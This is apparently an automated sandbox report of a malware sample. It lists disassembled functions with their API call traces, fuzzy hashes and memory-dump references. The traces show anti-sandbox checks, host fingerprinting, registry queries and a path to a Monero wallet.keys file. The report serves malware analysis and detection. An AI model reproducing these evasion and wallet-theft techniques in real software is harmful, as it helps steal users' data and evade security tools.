Instruction Fuzzy Hash: EE014FB9A40708BFDB10DFE0DC4AFAEB779EB08704F104558FA05A7291D674AA418B55

Function 00416490 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00419270: GetProcAddress.KERNEL32(75550000,01120408), ref: 004192B1
Part of subcall function 00419270: GetProcAddress.KERNEL32(75550000,01120510), ref: 004192CA
Part of subcall function 00419270: GetProcAddress.KERNEL32(75550000,01120528), ref: 004192E2
Part of subcall function 00419270: GetProcAddress.KERNEL32(75550000,011205E8), ref: 004192FA
Part of subcall function 00419270: GetProcAddress.KERNEL32(75550000,011206C0), ref: 00419313
Part of subcall function 00419270: GetProcAddress.KERNEL32(75550000,01128740), ref: 0041932B
Part of subcall function 00419270: GetProcAddress.KERNEL32(75550000,01115828), ref: 00419343
Part of subcall function 00419270: GetProcAddress.KERNEL32(75550000,01115988), ref: 0041935C
Part of subcall function 00419270: GetProcAddress.KERNEL32(75550000,01120690), ref: 00419374
Part of subcall function 00419270: GetProcAddress.KERNEL32(75550000,01120600), ref: 0041938C
Part of subcall function 00419270: GetProcAddress.KERNEL32(75550000,011205D0), ref: 004193A5
Part of subcall function 00419270: GetProcAddress.KERNEL32(75550000,011204B0), ref: 004193BD
Part of subcall function 00419270: GetProcAddress.KERNEL32(75550000,011156C8), ref: 004193D5
Part of subcall function 00419270: GetProcAddress.KERNEL32(75550000,01120558), ref: 004193EE

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420DFF,00000000), ref: 0041A158

Part of subcall function 004011D0: ExitProcess.KERNEL32 ref: 00401211

Part of subcall function 00401160: GetSystemInfo.KERNEL32(?), ref: 0040116A
Part of subcall function 00401160: ExitProcess.KERNEL32 ref: 0040117E

Part of subcall function 00401110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0040112B
Part of subcall function 00401110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00401132
Part of subcall function 00401110: ExitProcess.KERNEL32 ref: 00401143

Part of subcall function 00401220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401258
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401266
Part of subcall function 00401220: ExitProcess.KERNEL32 ref: 00401294

Part of subcall function 00416210: GetUserDefaultLangID.KERNEL32 ref: 00416214

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011C6

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: RtlAllocateHeap.NTDLL(00000000), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004173B0
Part of subcall function 00417380: RtlAllocateHeap.NTDLL(00000000), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 0041A380: lstrlen.KERNEL32(?,01128880,?,\Monero\wallet.keys,00420DFF), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420DFF), ref: 0041A2D5

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01128670,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 0041656A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416588
CloseHandle.KERNEL32(00000000), ref: 00416599
Sleep.KERNEL32(00001770), ref: 004165A4
CloseHandle.KERNEL32(?,00000000,?,01128670,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 004165BA
ExitProcess.KERNEL32 ref: 004165C2

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 1a60e01eff2d9944589e8060f37e101e06704d5dd9a1a7fe3a2c8923e180095b
Instruction ID: 0c3fac6cf7b50bea5c1f94bc3db5f65e3227356296d56eb517008ea5f4118e6e
Opcode Fuzzy Hash: 1a60e01eff2d9944589e8060f37e101e06704d5dd9a1a7fe3a2c8923e180095b
Instruction Fuzzy Hash: 03317130941108BACB14FBF2DC56BEE7739AF18318F50452EF513A6092DFBC6985C66A

Function 00409A10 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
ReadFile.KERNEL32(000000FF,?,00000000,0040148F,00000000), ref: 00409AAA
LocalFree.KERNEL32(0040148F), ref: 00409AE0
FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$Local$AllocChangeCloseCreateFindFreeNotificationReadSize
String ID:
API String ID: 1815715184-0
Opcode ID: 30016457b7803b38298d0d11a27270becede90de8f17bde9d86e799b4469262d
Instruction ID: 9a616c59c25f48dda5b41b64f2eda75996ce8e2783f016847e561ac14b63f668
Opcode Fuzzy Hash: 30016457b7803b38298d0d11a27270becede90de8f17bde9d86e799b4469262d
Instruction Fuzzy Hash: 5D310AB4A00209EFDB24CF95C895BAE7BB5BF48314F108169E911A73D0D778AD41CFA5

Function 00414260 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0112EDB8), ref: 004142BB

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 004142E1
lstrcat.KERNEL32(?,?), ref: 00414300
lstrcat.KERNEL32(?,?), ref: 00414314
lstrcat.KERNEL32(?,0111AE20), ref: 00414327
lstrcat.KERNEL32(?,?), ref: 0041433B
lstrcat.KERNEL32(?,0112D390), ref: 0041434F

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420DFF,00000000), ref: 0041A158

Part of subcall function 00418830: GetFileAttributesA.KERNEL32(00000000,?,00401B94,?,?,0042554C,?,?,00420E07), ref: 0041883F

Part of subcall function 00414050: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00414060
Part of subcall function 00414050: RtlAllocateHeap.NTDLL(00000000), ref: 00414067
Part of subcall function 00414050: wsprintfA.USER32 ref: 00414086
Part of subcall function 00414050: FindFirstFileA.KERNEL32(?,?), ref: 0041409D

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 2f957a4d1442d05016004457b681d9ee82de8f6d35885adb92451672a054548c
Instruction ID: 4fb66fc9f0e99d4a69d4435a00fe4e0f35192ff1271240cc59f29c1c24f4a50f
Opcode Fuzzy Hash: 2f957a4d1442d05016004457b681d9ee82de8f6d35885adb92451672a054548c
Instruction Fuzzy Hash: 663188B290021CA7CB24FBA0DC85EDD773DAB58708F40459EB60596091EE7897C9CFA8

Function 00401220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
__aulldiv.LIBCMT ref: 00401258
__aulldiv.LIBCMT ref: 00401266
ExitProcess.KERNEL32 ref: 00401294

Strings

@, xrefs: 00401233

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: ea570c17900da72c0ff61e466dfdba6c639ea0a5e55046902d87947f1e012f1f
Instruction ID: 3a295e2926d3a661784167dae5cc93d3585e5da9a2cb48fc087cd8b2851d2611
Opcode Fuzzy Hash: ea570c17900da72c0ff61e466dfdba6c639ea0a5e55046902d87947f1e012f1f
Instruction Fuzzy Hash: 8601FBB0D40308BAEB10EBE4DD49B9EBB78AB14705F20809EEA05B62D0D7785585875D

Function 00413BC0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,0112D590,00000000,00020119,?), ref: 00413C04
RegQueryValueExA.ADVAPI32(?,0112ED40,00000000,00000000,00000000,000000FF), ref: 00413C28
RegCloseKey.ADVAPI32(?), ref: 00413C32
lstrcat.KERNEL32(?,00000000), ref: 00413C57
lstrcat.KERNEL32(?,0112ED10), ref: 00413C6B

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: c770fad4f57f32470a4325d662e29cf09fc9d6c92b9f5afced5549c3ec6dbadb
Instruction ID: 29de2a712fc1e2dfcbf32ad4341a25eb625067ccdef54b7492a2b75d077fe01c
Opcode Fuzzy Hash: c770fad4f57f32470a4325d662e29cf09fc9d6c92b9f5afced5549c3ec6dbadb
Instruction Fuzzy Hash: 1841B8B69001086BDB24EBA0DC46FEE733DAB88304F00895DB619561D1FEB957CC8BD5

Function 6CBDC930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6CBDC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CBDC969
GetSystemInfo.KERNEL32(?), ref: 6CBDC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CBDC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CBDC9E2

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 169e5a899758e7ac12d933938eb1feee052fd6e7ec4b4f9ad97884d1b1eaa03c
Instruction ID: d6f61e7e53252c87450da052b7d9fa36c4ea7b7c91eaf544a5cd398d4a863b46
Opcode Fuzzy Hash: 169e5a899758e7ac12d933938eb1feee052fd6e7ec4b4f9ad97884d1b1eaa03c
Instruction Fuzzy Hash: 1D21F635741614AFDB15BE64DC84BAE73B9EB46708FA1811AF907A7B80EB706C048791

Function 004178A0 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004178D7
RtlAllocateHeap.NTDLL(00000000), ref: 004178DE
RegOpenKeyExA.KERNEL32(80000002,0111BA88,00000000,00020119,?), ref: 004178FE
RegQueryValueExA.KERNEL32(?,0112D2F0,00000000,00000000,000000FF,000000FF), ref: 0041791F
RegCloseKey.ADVAPI32(?), ref: 00417932

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: d4f8544a164a9437c7f2146de9882181f67f3b24d4450b32dfc713e681060546
Instruction ID: 7b98265181db112957e654b40feb51e707849e62a0e01f8308d40af4a82c50e7
Opcode Fuzzy Hash: d4f8544a164a9437c7f2146de9882181f67f3b24d4450b32dfc713e681060546
Instruction Fuzzy Hash: EB11C1B1A04605AFDB10CF84DD4AFBFBB79FB48B10F10411AF605A7280D7785805CBA5

Function 004012A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004012B4
RtlAllocateHeap.NTDLL(00000000), ref: 004012BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 004012F5
RegCloseKey.ADVAPI32(?), ref: 004012FF

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
